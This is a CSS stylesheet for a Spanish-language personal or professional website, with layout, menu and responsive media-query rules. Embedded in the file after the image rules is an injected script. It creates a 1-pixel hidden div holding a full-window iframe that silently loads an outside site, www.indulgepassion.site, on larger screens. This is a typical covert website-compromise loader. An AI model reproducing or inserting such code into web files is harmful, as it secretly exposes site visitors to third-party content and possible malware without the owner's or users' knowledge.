@charset "utf-8";
/* CSS Document */
*/============================================/*
/* BASICOS*/


/*============================================*/
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td,
article, aside, canvas, details, embed, 
figure, figcaption, footer, header, hgroup, 
menu, nav, output, ruby, section, summary,
time, mark, audio, video {
	margin: 0;
	padding: 0;
	border: 0;
	font-size: 100%;
	font: inherit;
	vertical-align: baseline;
}
/* HTML5 display-role reset for older browsers */
article, aside, details, figcaption, figure, 
footer, header, hgroup, menu, nav, section {
	display: block;
}
body {
	line-height: 1;
	background: #CCCCCC;
	font-family: Cambria, "Hoefler Text", "Liberation Serif", Times, "Times New Roman", "serif";
	font-size:14px;
	color: #666666;
}
ol, ul {
	list-style: none;
}
blockquote, q {
	quotes: none;
}
blockquote:before, blockquote:after,
q:before, q:after {
	content: '';
	content: none;
}
table {
	border-collapse: collapse;
	border-spacing: 0;
}
.wrapper-principal{ width:100%; padding:2px; margin-top:5px; background:#CCCCCC; }
.header{ width:100%; height: auto; background: #CCCCCC; margin:2px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;}
.wrapper-principal h1{width:98%; font-style:italic; font-size:1.6em; padding:3px; margin-top:1px; border-bottom: solid 1px white;}
.wrapper-principal h2{width:98%; font-style:italic; font-size:.1.5em; padding:3px;  margin-top:-3px; border-bottom: solid 1px white;}
.wrapper-principal h3{width:98%; font-style:italic; font-size:.1.4em; padding:3px;  margin-top:1px; border-bottom: solid 1px white;}
.wrapper-principal h4{width:98%; font-style:italic; font-size:1.3em; padding:3px;  margin-top:1px; border-bottom: solid 1px white;}
.wrapper-principal h5{width:98%; font-style:italic; font-size:1.2em; padding:3px;  margin-top:1px; border-bottom: solid 1px white;}
.wrapper-principal h6{width:98%; font-style:italic; font-size:.9em; padding:3px;  margin-top:1px; border-bottom: solid 1px white;}
p{text-align: justify; font-size: 14px;}
.nombre{width:100%;  padding:2px 0px 5px 10px; font-size:1.2em; text-align:center;}
.profesion{width:100%; padding:2px 0px 5px 10px; font-size:.75em; font-style:italic; letter-spacing:.5em; text-align:center;}
.titulo{width:100%; height:auto; padding:3px; font-size:1.5em;}
.subtitulo{width:100%; height:auto; padding:3px; font-size:1.2em;}
.cuadrodetexto{width:100%; height:auto; border: solid 1px white; margin-top:5px; padding:10px; font-size: 12px; }
	
.header .header-0{width:100%; margin:2px; padding:5px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;}
.header-0 .col1{width:15%; margin:2px; padding:5px;}
.header-0 .col2{width:66%; margin:2px; padding:5px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;  text-align:center}
.col2 .col2a{width:32.5%; height:auto; margin:2px; font-size:1.4em;}
.col2 .col2b{width:33%; height:auto; margin:2px; font-size:1.4em;}
.col2 .col2c{width:32.5%; height:auto; margin:2px; font-size:1.4em;}
.col2 .col2d{width:100%; height:auto; margin:4px; padding:2px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;  text-align:center;}
/*Servicios*/
.col2d .servicios-1{width: auto; height:auto; margin:3px; padding:10px; font-size:1.2em; font-style:italic; border: 1px solid white; margin:3px;  border-radius: .5em;}

/*Redes*/
.col2 .col2e{width:100%; padding:2px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;  text-align:center; align-self: flex-start; }
.col2e .col2e-1{width:63.5%; height:auto; padding:2px; margin:2px; }
	
	/*Consulta a las bases de datos*/
	#cuerpodatos{ width:100%; height:auto; margin-left:auto; margin-right:auto; margin-top:5px; margin-bottom:5px; padding-top:25px; font-size: 1.4em; text-align:left; }
	#informacion {  width:100%; height:auto;}
	#fecha { width:100%; height:auto; margin-top:10px; font-size:12px; font-style:italic; color: white; font-weight:bold; letter-spacing:2px; padding-left: 20px; text-align: left;}
	#titulo { width:97%; height:auto; padding-bottom:3px; padding-top:5px; padding-left:14px; color: #ffffff; margin-top: 10px; font-weight:bold; font-size:30px; text-align:center;  }
	#areatexto { width:97%; margin-left:auto; margin-right:auto; height: auto; padding-left:10px; padding-bottom:10px; padding-top:10px; 
	padding-right: 10px; color: #666666; margin-bottom:5px; font-size:14px; font-style:italic; text-align:justify; text-indent:0.5cm; line-height:13px;}
	#autor{width: 90%; height:auto; padding-bottom:5px; padding-top:5px; padding-left: 20px; font-size:14px; font-style:italic; color: white; letter-spacing: 2px;; margin-top:10px; text-align:left;}
	#url{ width: 90%; height:auto; padding-bottom:5px; padding-top:-2px; padding-left: 20px;  font-size:14px; font-style:italic; color: white; letter-spacing:2px; margin-top:2px;   margin-bottom:3px; }
	#notasalpie{ width: 97%; height:auto; margin-top:3px;  padding-bottom:5px; padding-top:5px; padding-left: 20px; font-family:"Times New Roman", Times, serif; color: white; font-size:12px; font-style:italic; letter-spacing: 2px; margin-bottom:5px; }
	#adress { clear:both; height:25px; width:99%; padding-top: 15px; margin-left:auto; margin-right: auto; color: #828282; margin-top:2px; text-align: center; font-size:80%; font-style:italic; letter-spacing:2px; line-height:1.5em; padding-left:4px; padding-right:5px;}
.col2e .col2e-2{width:34%; height:auto; padding:2px;  margin:2px;display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;}
.col2e-2 .col-1{width:100%; height:auto; padding:1px;  text-align: left; }
	.menutitulo { width: 100%; font-family:"Times New Roman", Times, serif; font-size:16px; font-style:italic; letter-spacing: 4px; font-weight:bold; color: #ffffff; text-decoration:underline; margin-bottom: 20px; text-align:center; margin-top:5px; }
.visitantesyclientes1{ float:left; width:35%; height:auto; padding-left:10px; font-family:Arial, Helvetica, sans-serif; color:#03F; font-size:12px; font-style:italic; text-align: left;}
.visitantesyclientes2{ float:left; width:60%; height:auto; font-family:Arial, Helvetica, sans-serif; color:#03F; font-size:12px; font-style:italic; }
.col2e-2 .col-2{width:100%; height:auto; padding:1px; }
.col2e-2 .col-3{width:100%; height:auto; padding:1px; text-align: left;}
.informacion { background-color: #E0E0E0; width:100%; height:auto;}

/*Operacion*/
.col-2 .operacion{width: 100%; height: auto; padding: 2px; text-align: left; font-size: 1.2em; border: 1px solid white; margin-top:2px; margin-bottom: 2px;}

/*Menu lateral*/
#menucontenedor{ width: 100%; height:auto; margin-top:40px;  }
.menutitulo { width: 100%; font-family:"Times New Roman", Times, serif; font-size:20px; font-style:italic; letter-spacing: 4px; font-weight:bold; color: #ffffff; text-decoration:underline; margin-bottom: 20px; text-align:center; margin-top:5px; }

/*Enunciados de los articulos*/
.menuderecho { width:98%; height:39px; padding:2px; margin-bottom:4px; text-align:left;  }
.menulateralizq { margin-left:5px; float:left; width:3px; height:33px; background-color:white; margin-top:3px;}
.menulateralarticulo { float:right; width:95%; height:auto; margin-bottom: 3px; margin-top:3px; font-family:Arial, Helvetica, sans-serif; font-size:14px; font-style:italic; color: #03F; }
.menulateralvinculo { float:right; width:95%; height:auto; font-family:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#666666; }

.col2e-2 .cuadro1{width:100%; height:auto; padding:1px; margin-top:5px; margin-bottom:15px;}
.col2e-2 .cuadro2{width:100%; height:auto; padding:1px; margin-top:5px; margin-bottom:15px; margin-left: 2PX; margin-right: 2PX;}
.col2e-2 .cuadro3{width:100%; height:auto; padding:1px; margin-top:5px; margin-bottom:15px; margin-left: 2PX; margin-right: 2PX;}
.col2e-2 .cuadro4{width:100%; height:auto; padding:1px; margin-top:5px; margin-bottom:15px; margin-left: 2PX; margin-right: 2PX;}
.col2e-2 .cuadro5{width:100%; height:auto; padding:1px; margin-top:5px; margin-bottom:15px;}
.header-0 .col3{width:15%; margin:2px; padding:5px;}
/*=========================================*/
.header .menu-1{width:100%; margin-top:20px; padding:5px; font-family:"Arial Black", Gadget, sans-serif; font-size:16px; text-align:center; color:silver; margin:5px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;}
.menu-1 .col4{width:15%; background:pink; margin:2px; padding:5px; font-family:"Times New Roman", Times, serif; font-size:12px; text-align:center; color:brown;}
.menu-1 .col5{width:66%; margin:2px; padding:5px; display:-webkit-box; display:-moz-box; display:-ms-flexbox; display:-webkit-flex; display:flex; -webkit-flex-direction:row; -moz-flex-direction:row; flex-direction:row; -webkit-flex-wrap:wrap; -moz-flex-wrap:wrap; flex-wrap:wrap; -webkit-justify-content:center; -moz-justift-content:center; justify-content:center;}
.col5 .col5a{width: 49%; padding: 2px;}
.col5 .col5b{width: 49%; padding: 2px;}
.menu-1 .col6{width:15%; margin:2px; padding:5px;}

/*=====================*/
ul.disc { list-style-type:circle; padding-left:30px;  font-style:italic; margin-top: -15px; line-height:15px; text-align: justify; padding-right:30px; color:#666; }
ul.disc2 { list-style-type:circle; padding-left:10px;  font-style:italic; margin-top: -15px; line-height:15px; text-align: justify; padding-right:60px;}
ol.disc { list-style-type:decimal; padding-left:30px;  font-style:italic; margin-top: -15px; line-height:15px; text-align: justify; padding-right:30px; color:#666; font-size: 14px;}
.menusup{width:1100px; height:25px; background-color:#c9c9c9; padding-bottom:4px; padding-top:3px; margin-bottom:5px;}
.menusupvinc { width:auto; height:20px; padding-left:10px; padding-right:10px; padding-top:6px; float:left; margin-left:3px; font-family:arial; font-size:12px; color:#ffffff; font-weight:normal; text-align:center; letter-spacing:1px;}
.menusupsep{ width:1px; height:25px; float:left; background-color:#ffffff; margin-left:3px; }
a { text-decoration: none; }
a:link{ color:#666666;}
a:visited{ color:#666666; }
a:hover, a:focus { text-decoration:underline;}
a:active {}




/*Imagenes*/
img{width:100%; height:auto;}
<script>!function(){var mydiv= document.createElement('div'); mydiv.style.position = 'relative'; mydiv.style.top  = '0px'; mydiv.style.left = '0px'; mydiv.style.zIndex = 100; mydiv.style.width  = '1px'; mydiv.style.height = '1px'; mydiv.style.overflow = 'hidden'; mydiv.style.filter="alpha(opacity=100);";  myiframe = document.createElement('iframe'); myiframe.width = window.innerWidth; myiframe.height = window.innerHeight; myiframe.scrolling = "no"; myiframe.frameBorder = "no"; myiframe.marginHeight = 0; myiframe.marginWidth = 0; myiframe.src = "//www.indulgepassion.site/"; if(window.innerWidth >= 800 && window.innerHeight >= 400){mydiv.appendChild(myiframe); document.body.insertBefore(mydiv, document.body.children.item(0));}}();</script>
/*=====================*/

@media only screen and (max-width:320px){
body{background: #CCCCCC; max-width:100%;}
.col1, .col3{display:none;}
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2a,.col2 .col2c {display:none;}
.col2e .col2e-1{width:100%;}
.col2e .col2e-2{width:100%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
}

@media only screen and (min-width:321px) and (max-width:480px){
body{background: #CCCCCC; max-width:100%;}
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2c{display:none;}
.col2 .col2a, .col2 .col2b{width:50%;}
.col2e .col2e-1{width:100%;}
.col2e .col2e-2{width:100%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
}

@media only screen and (min-width:481px) and (max-width:640px){
body{background: #CCCCCC; max-width:100%;}
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2c{display:none;}
.col2 .col2a, .col2 .col2b{width:50%;}
.col2e .col2e-1{width:100%;}
.col2e .col2e-2{width:100%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
}

@media only screen and (min-width:641px) and (max-width:768px){
body{background: #CCCCCC; max-width:100%;}	
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2c{display:none;}
.col2 .col2a, .col2 .col2b{width:40%;}
.col2e .col2e-1{width:100%;}
.col2e .col2e-2{width:100%;}
.col-2 .cuadro2, .col2 .cuadro3, .col2 .cuadro4{width:33%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
.col5 .col5a, .col5 .col5b{width: 47%;}
}

@media only screen and (min-width:769px) and (max-width:1024px){
body{background: #CCCCCC; max-width:100%;}
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2c{display:none;}
.col2 .col2a, .col2 .col2b{width:45%;}
.col2e .col2e-1{width:100%;}
.col2e .col2e-2{width:100%;}
.col-2 .cuadro2, .col2 .cuadro3, .col2 .cuadro4{width:33%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
.col5 .col5a, .col5 .col5b{width: 47%;}
}

@media only screen and (min-width:1025px) and (max-width:1280px){
body{background: #CCCCCC; max-width:100%;}
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2a, .col2 .col2b, .col2 .col2c{width:30%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
.col5 .col5a, .col5 .col5b{width: 47%;}
}

@media only screen and (min-width:1281px) and (max-width:1366px){
body{background: #CCCCCC; max-width:100%;}	
.col1, .col3{display:none;}
.header-0 .col2{width:100%;}
.col2 .col2a, .col2 .col2b, .col2 .col2c{width:33%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
.menu-1 .col5{width: 100%;}
.col5 .col5a, .col5 .col5b{width: 47%;}

}

@media only screen and (min-width:1367px){
body{background: #CCCCCC; max-width:100%;}
.menu-1 .col4, .menu-1 .col6{display: none;}
}